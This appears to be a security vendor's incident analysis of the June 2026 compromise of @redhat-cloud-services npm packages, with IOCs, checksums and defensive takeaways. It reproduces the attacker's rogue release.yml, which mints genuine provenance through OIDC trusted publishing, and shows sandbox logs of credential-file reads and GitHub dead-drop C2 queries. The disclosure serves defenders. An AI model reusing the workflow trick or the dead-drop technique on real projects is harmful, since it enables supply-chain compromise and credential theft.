Valid provenance, malicious package: anatomy of the Red Hat npm compromise
Attackers re-published 31 packages across the @redhat-cloud-services npm scope at least four times in one afternoon, every version carrying valid, signed SLSA provenance. How they mint genuine provenance for malware, what the payload does (captured first-hand), and why behavioral detection catches each re-arm in seconds.
Status: resolved. First published 2026-06-01 while the campaign was live; concluded here on 2026-06-07. npm has since added protections to the
@redhat-cloud-servicesnamespace to block unauthorized publishing and the affected repositories were removed, which closes the re-arm loop described below; our firehose has logged no new malicious versions in the scope since (checked 2026-06-07). The first-hand counts and IOCs are preserved as captured at 2026-06-01 14:25 UTC; Microsoft’s later writeup puts the full campaign at 32 packages across more than 90 versions. Full Resolution note at the end.
TL;DR
On 1 June 2026, attackers republished 31 packages across the official @redhat-cloud-services npm scope with an install-time malware payload, and
as of 14:25 UTC it was still going: our firehose logged them re-armed at least four times in an afternoon, each burst climbing the version numbers
as the registry purges the last. The detail worth your attention: the malicious
versions carry valid, signed npm provenance. They pass an npm audit signatures / SLSA attestation check. Provenance proves where a build came
from; it says nothing about what the build does.
We didn’t break this story: StepSecurity reported the scope and SafeDep documented the provenance-abuse technique two weeks earlier on the AntV wave. What our publish firehose adds is the real-time, provenance-blind catch, the first burst flagged within ~10 seconds and every later re-arm within seconds too, before any feed we track listed them.
What shipped
Our firehose logged 31 packages across the @redhat-cloud-services scope
republished in at least four bursts in one afternoon, each climbing the version
numbers as the registry purged the last (versions observed per burst, as of
2026-06-01 14:25 UTC):
| Burst (UTC) | Scope versions republished |
|---|---|
| 10:54–10:55 | 29 |
| 12:45–12:57 | 7 |
| 13:46–13:47 | 32 |
| 14:23–14:25 | 32 (latest observed; scope latest still malicious at our 14:25 UTC check) |
Every version in every burst carries the same shape: a "preinstall": "node index.js" hook (absent from the prior clean release) and a ~4.4 MB root index.js, a packed numeric array decoded and handed to eval(), run on
every npm install.
The scope publishes from more than one RedHatInsights repository via OIDC
trusted publishing: the client packages from RedHatInsights/javascript-clients,
the MCP servers from RedHatInsights/platform-frontend-ai-toolkit. So more than
one CI pipeline was compromised. To dissect the mechanism we’ll use three
packages from the first burst, the hcc-*-mcp servers: the ones the rogue
workflow’s attestation names (the OIDC_PACKAGES list below), which makes them
the cleanest specimen. Each went
from a clean, script-free release to a poisoned one in a ~1.2-second window:
| Package | Last good | First malicious |
|---|---|---|
@redhat-cloud-services/hcc-feo-mcp | 0.3.0 | 0.3.1 |
@redhat-cloud-services/hcc-kessel-mcp | 0.3.0 | 0.3.1 |
@redhat-cloud-services/hcc-pf-mcp | 0.6.0 | 0.6.1 |
The provenance is genuine, not forged
The published SLSA attestation for each malicious version verifies, and attests a build that genuinely ran in GitHub Actions inside the real Red Hat repository:
predicateType : https://slsa.dev/provenance/v1
repository : github.com/RedHatInsights/platform-frontend-ai-toolkit
workflow : .github/workflows/release.yml
ref : refs/heads/oidc-2530ec68
commit : 0e948856c93d5de31c192171796ced937faee4cb So how is the malware not in the repository? Because of three things that, read together, are the whole attack:
mainis clean. On the default branch, all three packages still sit at the last-good versions, with no install scripts. If you look at the repo, you see nothing wrong, which is exactly why this is easy to miss.The build ran from a throwaway branch that no longer exists. The provenance points at
refs/heads/oidc-2530ec68. That branch is gone (404). Its build commit survives only because Git keeps unreferenced objects around: an orphan commit with no parents, containing just two files: a crafted.github/workflows/release.ymland a loader,_index.js. The real package source isn’t even in that commit. The commit is still fetchable by its SHA (parents: [], those two files and nothing else), so all of this is verifiable.The rogue workflow reused the trusted workflow’s identity. Here it is, fetched verbatim from that commit (action SHAs abbreviated):
name: release on: push: branches: ['*'] # fire on ANY branch push jobs: release: runs-on: ubuntu-latest permissions: id-token: write # mint OIDC -> npm trusted publish contents: read steps: - uses: actions/checkout@de0fac2… - uses: oven-sh/setup-bun@0c5077e… - name: prepare run: bun run _index.js env: OIDC_PACKAGES: "@redhat-cloud-services/hcc-feo-mcp, @redhat-cloud-services/hcc-kessel-mcp, @redhat-cloud-services/hcc-pf-mcp" WORKFLOW_ID: "release.yml" REPO_ID_SUFFIX: "RedHatInsights/platform-frontend-ai-toolkit"npm trusted publishing authorizes a publish based on the repository plus the workflow file path. The attacker named their malicious workflow
release.yml, matching the trusted one, and set it to run on any branch push. Push the orphan branch, the workflow runs in the repo’s Actions context, requests an OIDC token, and npm mints a publish credential and a valid provenance attestation. Then delete the branch. Each re-arm burst repeats this from a fresh throwaway branch, which is why every malicious version we’ve seen, across every burst, carries verifying provenance.
The result: a package whose provenance truthfully says “built by GitHub Actions in Red Hat’s repo,” that is nonetheless malware. The attestation isn’t forged. It’s abused.
What’s confirmed, and what isn’t. The publish mechanism above is not a
guess: the attestation and the orphan commit (workflow + loader intact) are
both verifiable from public data. They prove a push-triggered workflow,
running in-repo with id-token: write, minted the credential and the
attestation. It was not a merge to main. What they do not reveal is the initial access: how the attacker got push rights to land that branch on the
upstream repo to begin with. The commit carries a maintainer’s name, but Git
authorship is trivially forgeable and the pushing identity isn’t recorded in the
commit, so we draw no conclusion about who. That’s for Red Hat’s incident
review, not a provenance file.
Why behavioral detection caught it anyway
We run an npm publish firehose: every newly published version is fetched and pushed through staged, sandboxed analysis: manifest detectors first, then a static bundle scan in a network-isolated, read-only container, with optional detonation. None of that asks “is the provenance valid?” It asks “what does this package do?”
Three detectors tripped on every malicious version, none of which looks at provenance:
preinstall-node-script: a newpreinstallhook on a package that never had install scripts.lifecycle-script-runs-main-js: that hook executing the package’s own entry point at install time.scan_ast_eval_decoder: the static bundle scan finding obfuscated dynamic execution, a decoder feedingeval.
A subset also tripped a critical size_change as the tarball ballooned against
its prior release. On an official-scope package that was clean one version ago,
that combination is hard to read as anything benign.
In the first burst we flagged 28 of the 31 versions StepSecurity catalogued for
it (our firehose directly observed 29 publishes in the 10:54–10:55 window; the
rest were pulled before our fetch resolved them) within ~10–40 seconds of
publish (manifest signals at ~10s, the static eval-decoder a few seconds
behind), at 10:54:36 UTC, about an hour before the public report
(StepSecurity’s GitHub issue at 11:56:59 UTC) and before any feed we track
listed it. Every later re-arm we caught the same way: the live 14:23 burst was
flagged within ~47 seconds. An LLM triage pass then confirmed and wrote up the
reasoning. We reverse-engineered the orphan-branch mechanism above from public
registry metadata, the provenance attestation, and the repo, with no special
access; you can reproduce every claim here from the same sources.
Three versions in the first burst (hcc-feo-mcp@0.3.1 among them) were pulled
within seconds of publish, before our fetch resolved which version had changed,
so we first picked those up through feed corroboration rather than first-hand; hcc-feo-mcp we then caught cleanly in a later burst. Either way, every signal
that mattered was in the artifact within seconds, with no reference to the
provenance.
The provenance-abuse technique itself, abusing OIDC trusted publishing to mint genuine SLSA attestations from a throwaway branch, was first documented by SafeDep on the AntV wave two weeks earlier (see Prior coverage below).
What it does, first-hand
Earlier writeups, ours included, described the payload from the published Mini
Shai-Hulud analyses rather than from a fresh trace. So we detonated a package
from this wave (host-inventory-client@5.0.3) in an isolated microVM with its
network sinkholed and TLS intercepted, and our agent attached inside the guest
in observe mode, so it would log the full chain instead of stopping it.
Three things stood out.
It is environment-gated. In a bare sandbox the payload barely moved: the
install ran, the bootstrap executed, and it stopped. It only unpacked its full
behavior when CI and GITHUB_ACTIONS were present in the environment. Same
bytes, two runs: without the CI variables, a quiet no-op; with them, the full
chain below. That is deliberate evasion and targeting. It wants a CI runner, not
a researcher’s laptop, which is also why commodity sandboxing often never sees
it act.
It went for credentials first. With the CI variables set, the agent’s LSM hooks recorded a Bun worker opening credential files within milliseconds: 24 opens against four targets, across three process generations (pids 725 / 745 / 764). Raw agent output, lightly trimmed (timestamps and container id removed):
{"level":"WARN","msg":"credential file access detected","comm":"Bun Pool 0","pid":725,"path":"/home/leitnpm/.aws/credentials"}
{"level":"WARN","msg":"credential file access detected","comm":"Bun Pool 0","pid":725,"path":"/home/leitnpm/.docker/config.json"}
{"level":"WARN","msg":"credential file access detected","comm":"Bun Pool 1","pid":725,"path":"/home/leitnpm/.git-credentials"}
{"level":"WARN","msg":"credential file access detected","comm":"Bun Pool 1","pid":725,"path":"/home/leitnpm/.ssh/id_rsa"}
... 24 cred-file opens in total, across pids 725 / 745 / 764 ... Those four files are what our credwatch watchlist covers, not the payload’s full
target set. By default credwatch excludes .npmrc and .netrc (legitimate npm
and tooling read them on nearly every install, so watching them is too noisy to
enforce on a CI runner) and it does not track shell or database history. So read
the four above as the watched subset: SafeDep’s analysis of this campaign reports the same payload also reading ~/.npmrc, ~/.netrc, and shell and
database history. The point holds either way: install-time code is reading
credential files it has no business touching.
We let those reads through because the agent was in observe mode. In enforce
mode the same credwatch LSM returns -EPERM on that first .aws/credentials open() and kills the container, before the C2 stage below ever runs: the kill
wins the race because open() is synchronous at the kernel while the network
lookups are not. Observe mode is what let us watch the rest of the chain unfold.
The C2 is a GitHub dead-drop resolver, not a hardcoded host. It did not dial
an attacker-owned domain or a raw IP: every outbound destination resolved
through DNS first, with no cloud metadata-service probe. Instead it queried
GitHub’s own commit-search API for two marker strings, using them to locate a
drop-point commit. We answer api.github.com from a local sinkhole and intercept the TLS, so we capture the
request with nothing leaving the box:
{"src":"fakenet","kind":"http_capture","host":"api.github.com","tls":true,"method":"GET",
"path":"/search/commits?q=thebeautifulmarchoftime%20&sort=author-date&order=desc",
"headers":{"User-Agent":"python-requests/2.31.0","Accept":"application/vnd.github+json"}}
{"src":"fakenet","kind":"http_capture","host":"api.github.com","tls":true,"method":"GET",
"path":"/search/commits?q=IfYouInvalidateThisTokenItWillNukeTheComputerOfTheOwner&sort=author-date&order=desc&per_page=50",
"headers":{"User-Agent":"python-requests/2.31.0","Accept":"application/vnd.github+json"}} That capture tells us what was sent. The agent tells us who sent it: its DNS proxy logged the same lookup with the process behind it, the same Bun worker (pid 725) that opened the credential files:
{"domain":"api.github.com","action":"dns_observed","pid":725,"comm":"Bun Pool 0","binary_path":"/tmp/b-dHaoll/bun"} Routing C2 through api.github.com is the point: it is a host nearly every CI
environment already allows, so the lookup hides in ordinary traffic. (Same
reason GitHub served as a useful fallback channel in earlier waves.) The python-requests/2.31.0 user agent is worth recording but not over-reading: a
user agent is attacker-controlled, so it is either a genuine second-stage HTTP
client or a deliberate disguise. We treat it as a huntable string, not as proof
of a Python runtime.
Indicators of compromise
| Indicator | Value |
|---|---|
| C2 channel | api.github.com/search/commits (GitHub commit-search dead-drop) |
| Marker query 1 | thebeautifulmarchoftime |
| Marker query 2 | IfYouInvalidateThisTokenItWillNukeTheComputerOfTheOwner |
| C2 request user agent | python-requests/2.31.0 |
| Credential targets (watched subset) | ~/.aws/credentials, ~/.docker/config.json, ~/.git-credentials, ~/.ssh/id_rsa; SafeDep also reports ~/.npmrc, ~/.netrc, shell/DB history (credwatch excludes the first two by default) |
| Activation trigger | CI / GITHUB_ACTIONS set in the environment |
These IOCs are from the host-inventory-client@5.0.3 sample we detonated; the
attacker can rotate the marker strings and the dead-drop path between bursts, so
the durable signature is the behavioral shape (env-gated credential harvest
plus a GitHub commit-search dead-drop), not any single string. These markers are
the resolver side of the dead-drop: the request the payload makes to locate its
drop point. We recovered them by answering api.github.com from a
TLS-intercepting sinkhole during detonation and reading the Layer-7 request as
sent. Public reporting (StepSecurity, SafeDep) documents the exfil side, stolen
data written to attacker GitHub repositories, but not this inbound commit-search
lookup or its marker strings. While they last they are the most useful point
artifact: searchable in GitHub’s commit search and audit log, and GitHub can
purge the drop-point commits they resolve to. What we observed: provenance abuse
at publish, a bootstrap loader at install, an environment-gated second stage,
credential harvest, then the GitHub commit-search dead-drop resolver, every
outbound hop through DNS with no raw-IP fallback and no attacker-owned domain.
The chain stalled there: our sinkhole answers api.github.com with nothing, so
the resolver never located its drop point and the exfil step (the writes to
attacker repositories that SafeDep documents) never fired. Nothing left our box;
the canary tokens were never exposed.
How far it spread
Classic Shai-Hulud self-propagates by stealing a maintainer’s npm token,
enumerating their packages, and republishing all of them, repeating from each new
victim. In this incident it did not spread that way. Every malicious version was
published by npm-oidc-no-reply@github.com, the OIDC trusted-publishing identity,
not a stolen personal token, and the rogue workflow worked from a hardcoded
package list (the OIDC_PACKAGES env above) rather than enumerating a victim’s
packages. That re-arm credential is scoped to the @redhat-cloud-services trusted-publisher config, so the re-arming stayed inside that scope, and our
firehose sweep for the payload’s three-signal fingerprint across the rest of npm
found it nowhere else.
The containment was the attacker’s targeting choice, though, not a structural limit, and here SafeDep’s analysis is worth reading alongside ours. The dropper carries the means to spread: it harvests credentials including GitHub tokens, and the OIDC-trusted-publishing abuse is repeatable. A stolen GitHub token can push a rogue workflow into a fresh victim’s own repository, and that repository’s own trusted publishing then mints an npm credential to republish, the same provenance-abuse loop, re-seeded. That is the worm in “Mini Shai-Hulud”: not classic npm-token theft and mass-republish, but a repeatable provenance-abuse loop bootstrapped by a harvested token. It simply was not exercised beyond Red Hat’s scope this time.
The downstream blast radius is contained, too. By dependent count (deps.dev), the most-depended package in the scope has at most a couple dozen consumers, almost all within Red Hat’s own ecosystem (the rest in the Red-Hat-adjacent Foreman project), and several have none. No high-traffic external package depends on them.
So the propagation risk is not the dependency graph or the publish mechanism. It
is the credential harvest above: every CI runner that installs a poisoned version
has its credential files read (the four our credwatch instrumented, plus .npmrc and .netrc per SafeDep), and a usable GitHub token is the seed for the
workflow-injection loop described earlier, the path to the next victim.
Resolution
Update, 2026-06-07. The re-arm loop is closed. After Microsoft Threat
Intelligence shared its findings with npm, npm added protections to the @redhat-cloud-services namespace to block unauthorized publishing and the
affected repositories were removed; in our firehose we have seen no new malicious
versions in the scope since the original 2026-06-01 bursts (as of 2026-06-07).
The campaign, now widely tracked as Miasma (after the attacker’s own
“Miasma: The Spreading Blight” marker), drew broad follow-on coverage (Microsoft,
Wiz, Socket, Sonatype, and others); Microsoft’s writeup puts the
full campaign at 32 packages across more than 90 versions, just above the 31 our
firehose caught first-hand in the opening burst. The question we flagged as open,
how the attacker first got the push access to land that orphan branch, is closer
but not closed: Wiz reports evidence that a Red Hat employee GitHub
account was compromised to push the commits, but how that account itself was
taken is not established in public reporting. That part remains Red Hat’s to
disclose.
Takeaways
- Provenance answers “where from,” not “is it safe.” SLSA attestations and trusted publishing are worth adopting: they make this specific abuse traceable after the fact, but they are not a malware check. Treating a valid attestation as a green light is the mistake.
- Pin trusted publishing tightly. If your registry/CI supports it,
constrain trusted publishing to a specific branch or tag ref and to release
events, not
pushon['*']. The gap here was that a workflow file name was trusted regardless of which branch it ran from. - Require a tag/release to match a publish. These malicious versions had no git tag and no GitHub release, while every legitimate release in the repo did. That mismatch is a cheap, strong tripwire.
- Watch behavior at publish time. The decisive signals (a new preinstall, a
giant obfuscated
eval) were visible in the artifact within seconds of publish, independent of any trust metadata. - Pin consumers to integrity, and expect re-arming. This scope was
re-poisoned at least four times in an afternoon;
latestwas malicious far more often than not. A lockfile pinned to a known-good integrity hash is what protects you while a campaign is live, long after the headline version is purged. - On CI runners, enforce, don’t just observe. A kernel agent that returns
-EPERMon credential-file reads stops the harvest at the firstopen(), before the payload reaches its C2. The same hook in observe mode is what let us trace the chain through to its C2 resolver, but the runner that matters wants it enforcing.
The defense this post demonstrates is Leitwacht’s CE agent: it runs on your CI runners and stops install-time malice at the kernel, default-deny egress plus credential-access kills, no matter how clean a package’s provenance looks. It’s free and MPL-2.0. The same behavioral engine powers the npm publish firehose that caught this campaign in real time. If you run npm in CI, get in touch.
Compromised versions and checksums
The 31 versions from the first burst, as StepSecurity catalogued them, with the
SHA-512 tarball integrity npm/package-lock.json verifies. Later bursts
re-published the same packages under higher version numbers (chrome had
reached 2.3.4 by the 14:23 burst before the namespace was locked), so treat the
whole scope as suspect, not just these exact versions. 28 of the integrity values are from our own capture at publish
time; hcc-feo-mcp@0.3.1 (†) is a value recorded during disclosure, not from
our own fetch, and is no longer re-verifiable; two were purged before any
checksum was captured. Every version below is malicious: pin or roll back to
the prior good release, and only unpack inside an isolated sandbox.
| Package | Version | Unpacked size | Tarball integrity (SHA-512, base64) |
|---|---|---|---|
@redhat-cloud-services/chrome | 2.3.1 | 4,165,742 | sha512-1idcdNrmQGoMNQha1/yoDKigqkrlqJ5v6tIFDKrqXJLN/Z4xqPxVGTmdzHnrz8qWFdyLeJRSlUTKL1YdGcA4Bg== |
@redhat-cloud-services/compliance-client | 4.0.3 | 5,268,568 | sha512-AlIF6UCetTD45eW3xnstuKoNJeJIxJ70zkonX7KesDvj6s2JbE9BJHkr9L8/T3F84zbIEW6n1nAzkRqBtVHIUQ== |
@redhat-cloud-services/config-manager-client | 5.0.4 | 4,329,448 | sha512-+Ov+ucLceVF1zxiVp1LnwGqvAFJW42m3rGLfR2mOqwjHnXbbjHRYIRKJoeeGq5sTxik6uiT+R5qK5BtTUAreow== |
@redhat-cloud-services/entitlements-client | 4.0.11 | 4,231,899 | sha512-7/lQIUq4BMmZLdhjQDtjZUXAsoFlaTQ17Px6RuT8AIe2Vb9igYkRFDczdzyDemo80sW/zAbLUNaHXyE9Br1U5w== |
@redhat-cloud-services/eslint-config-redhat-cloud-services | 3.2.1 | 4,157,712 | sha512-DmmUAJeaTvahJ4Kw6lwd2OY+SKgA+VuypUr1fXce9cjl2iBuVac0uuNWChsET9q9UYlMome7aokD4os8FGuR4Q== |
@redhat-cloud-services/frontend-components | 7.7.2 | 5,140,528 | sha512-bAOwMULQetA8ZXaZWnjwyE72Eh7s2Ad9mmOJMm8DbfP7szuYzLfRXEiuDeRaWaNAsG/5k7bqSahyri2ZXY3oTg== |
@redhat-cloud-services/frontend-components-advisor-components | 3.8.2 | 4,183,722 | sha512-6fKWd9yXUvN6PYqm8SRawQtvvdz5YhPa3qJfAVzxy4VZNsZZX2RY15xSVacoAvIg5bqCMVXaDrXqHOKax7flhQ== |
@redhat-cloud-services/frontend-components-config | 6.11.3 | unavailable (purged before capture) | |
@redhat-cloud-services/frontend-components-config-utilities | 4.11.2 | 4,472,683 | sha512-phcx68xg5xoMlvTMIWnEJSlOFIopwMWGDFmExyfl4qGZHGUENqkRMhMW+RDU3/7Sjm3oVTeekZg92fmsuUf0aA== |
@redhat-cloud-services/frontend-components-notifications | 6.9.2 | 4,368,308 | sha512-nEyZqqNvCRwml/Z1MSuSTn/+VP0T1YB7qyOwr5kbLttbj4vUqxFzWuDMUMdpheGgXGhQ+R+fBXHG2ZunjvMyNw== |
@redhat-cloud-services/frontend-components-remediations | 4.9.2 | 4,318,392 | sha512-SO1YysjsTGTnd7srtofUNl6ydjEz1wgGflhqEGETMKqTmrS10qj8OFeT3j4E/41goSV9RBYqsPTA4fQbMDtFpA== |
@redhat-cloud-services/frontend-components-testing | 1.2.1 | 4,310,402 | sha512-/AZJarwB/MODpzZq6AkgnHcQbrMnygwoXeJBrRuj5eKRd+OM1TEh4w84wyVoAnUc/50JBsOgkWodSdJ1RFu9+g== |
@redhat-cloud-services/frontend-components-translations | 4.4.1 | 4,325,945 | sha512-hFH+19wv3vJUvob4clCqCDoM6yhejq8jehmBwfABCtBPbDqtW9KZjXIm2InCS4jpQaocfvbDhvdeCWRJZ05z3w== |
@redhat-cloud-services/frontend-components-utilities | 7.4.1 | 4,624,539 | sha512-xCyuLS9oG+3f3HTjDCH0BH/j+/5w2N2lZpdKl2oC+s96zH7InTUmdUE03TZYBsi/ICoKgXiwh82XEyp8yCGGMA== |
@redhat-cloud-services/hcc-feo-mcp | 0.3.1 | 4,437,053 | sha512-3+OgtS5UqQbSPmPHKQK0w2Vt3ycq1CKCpgO4uk0OUB5aNJEN1R48EbI5UXsJo4/8EXXFmUnYFet38KJbERox9g== † |
@redhat-cloud-services/hcc-kessel-mcp | 0.3.1 | 4,372,385 | sha512-8UIVUPzxvdzwNrxTj7JtWGD2tf2IdnznTwFYLFyM2EMdoriwhHgoDvNQ1LtjPY9HKOrTTec/+37oTTaEDPWvGA== |
@redhat-cloud-services/hcc-pf-mcp | 0.6.1 | 4,458,202 | sha512-kqYH7k7ac88eMCnzRO15Z/RDELI/y33vL9CEM+ry04q9UAFDjcmKbFg4L9PiKWHUPKkes2SfmFt9lyCyg+GSgw== |
@redhat-cloud-services/host-inventory-client | 5.0.3 | 5,267,183 | sha512-ldq0DZWf4b01hMVNAOVClgnvzkzqUN0Ws6m8OEGuua9DMnduT4Hs9US7fFz/Da+tAZoIgcowhlH5NHoRHO4MWw== |
@redhat-cloud-services/insights-client | 4.0.4 | 5,640,634 | sha512-IvCigD43EE61cYtxzz3GwCqx3ZhOqElHGuUSJhtrsAAWp8ZZbUWg+VRz9M99kqdWQz1rWXqXABp/SCWtoqz8kQ== |
@redhat-cloud-services/integrations-client | 6.0.4 | unavailable (purged before capture) | |
@redhat-cloud-services/javascript-clients-shared | 2.0.8 | 4,412,476 | sha512-9x08AsbAw7ZRfCa9azKaWnjuQSl6hSNnL9w4L0GCyOlrVWUmuHX2wHRv9OBPWrV12I5oUseoijhKLOtdEA+KEQ== |
@redhat-cloud-services/notifications-client | 6.1.4 | 4,757,073 | sha512-A3CEAeIatSfkE3mkcpFIcbUPFdAxmx13J3RRC18RjST2kczfstA77IJUMY8d9YGpjVpkogg2XXTl7bjbxAzC+g== |
@redhat-cloud-services/patch-client | 4.0.4 | 5,410,796 | sha512-GN2lroAEbkEaU4cFFAXoPnItqt3nJs21o9LHEVOFYchdq0KfXkEYQWMHFTOjTJ6Erri21ABZEsUMD20FjQVPEw== |
@redhat-cloud-services/quickstarts-client | 4.0.11 | 4,448,773 | sha512-dfIJpimjMyaITbuzH79EhT0tYqMCYosMNCeyyOfrjolw8/4AWX2QnixMLaHBnQBqQW8W2/eHpVczoDMTnckmyw== |
@redhat-cloud-services/rbac-client | 9.0.3 | 5,350,787 | sha512-uSoxpFxMBd1/B9MmDdp9CqM7UhHCju+EcqyyHPcAheSxqcKdxGtrH7aanR1pimABO6PDyyRB1TEIiKgoh/brgw== |
@redhat-cloud-services/remediations-client | 4.0.4 | 4,879,530 | sha512-Y1oJNgHL9c8hZwUmquGaZyTqNwayhqJdeFxKjRiYT41Tj+tGXsRClg7051gdApzdXWe486l0HuZ1cdm8POftzQ== |
@redhat-cloud-services/rule-components | 4.7.2 | 4,515,121 | sha512-63v6f4l/kFNZLGWOmmMr4i8v9yMblNlLppq0PZL69mtI2PCh/IYXJgohhZKIKLVbc2rqja9gkqMMxQxwu9diRA== |
@redhat-cloud-services/sources-client | 3.0.10 | 4,581,109 | sha512-GnrVRRq60j7iocMeAvQtC1kkvw2wpGUaEKUyA5DYAIVG82FfJ5xEfT1k+esfNm++L/NYYxw9+FLr+6IbWL9tqw== |
@redhat-cloud-services/topological-inventory-client | 3.0.10 | 7,336,016 | sha512-eM7FZ6X2dF+UTXZulVx9AQDfTbM/iJDM/v3UTnb1I5/k+AOtdta2G4fe8FJiWsO4u8J2lj2YHPitQLtAbMt80w== |
@redhat-cloud-services/tsc-transform-imports | 1.2.2 | 4,319,803 | sha512-uCvcc/OEFNDfEX2hqzjEGeISgjQHFpSCWzAU2OO0cpJuNRcXPdw9IlpIBbGurwvM1zt8O6NWVccjDC8qzkJ3eQ== |
@redhat-cloud-services/types | 3.6.1 | 4,146,089 | sha512-xGQnN2YPCYwd4OAddrsxBjTHJY3rDsoA9Rcb7izrrohzoEbh7F5mN5SPLk/qXn75BCLSaWa5KI8LImD+tDWb/Q== |
† Recorded during disclosure, not from our own capture; the version is unpublished, so it can no longer be re-fetched or independently re-verified.
Verifiable artifacts
- Malicious versions (sha512 integrity), build provenance ref
oidc-2530ec68/ commit0e948856…, and the roguerelease.ymlare all readable from the public npm registry and GitHub. Inspect tarballs only in an isolated, network-disabled sandbox: they are live malware.
Prior coverage
- StepSecurity: Multiple @redhat-cloud-services npm packages compromised (their full writeup), and the earlier GitHub issue (2026-06-01 11:56 UTC) with the 31-package list
- SafeDep’s Mini Shai-Hulud Strikes Again (the OIDC trusted-publishing / SLSA-provenance-abuse technique, AntV wave)
- SafeDep: Red Hat Cloud Services hit by Mini Shai-Hulud npm worm (a thorough deobfuscation of this campaign’s payload, including the decrypted stage and the credential-harvest targets)
- Microsoft Threat Intelligence: Preinstall to persistence: Inside the Red Hat npm Miasma credential-stealing campaign (full-campaign accounting, 32 packages across 90+ versions, and the npm namespace lockdown)